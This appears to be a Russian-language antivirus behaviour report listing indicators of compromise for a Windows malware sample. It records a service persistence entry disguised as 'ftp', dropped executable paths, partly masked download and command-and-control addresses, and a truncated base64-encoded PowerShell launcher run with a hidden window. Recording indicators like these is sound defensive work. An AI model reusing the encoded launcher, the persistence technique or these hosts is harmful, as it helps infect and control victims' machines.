Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\ftp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ftp] 'ImagePath' = '"%WINDIR%\SysWOW64\WPDShextAutoplay\ftp.exe"'
- 'ftp' "%WINDIR%\SysWOW64\WPDShextAutoplay\ftp.exe"
- 'ftp' %WINDIR%\SysWOW64\WPDShextAutoplay\ftp.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNADYAaABxADkAcAA1AD0AKAAoACcAUQAnACsAJwB0AHgAJwApACsAKAAnAGQAegBzACcAKwAnAGgAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AHUAcwBlAFIAcABSAE8AZgBJAEwAZQBcAH...
- %HOMEPATH%\sqpgdfi\dqkgpwc\e2937a4y.exe
- %WINDIR%\syswow64\wpdshextautoplay\ftp.exe
- %HOMEPATH%\sqpgdfi\dqkgpwc\e2937a4y.exe в %WINDIR%\syswow64\wpdshextautoplay\ftp.exe
- '50.##1.220.50':80
- http://fo#######nsathletefactory.com/wp-admin/i/
- http://50.##1.220.50/QmRC8SEPyitAEal/oCa9lOf5f/5XPlZE61s/902iD/TQCbS/TpKVLzKc1GP/
- DNS ASK fo#######nsathletefactory.com
- '%HOMEPATH%\sqpgdfi\dqkgpwc\e2937a4y.exe'
- '%WINDIR%\syswow64\wpdshextautoplay\ftp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNADYAaABxADkAcAA1AD0AKAAoACcAUQAnACsAJwB0AHgAJwApACsAKAAnAGQAegBzACcAKwAnAGgAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AHUAcwBlAFIAcABSAE8AZgBJAEwAZQBcAH...' (со скрытым окном)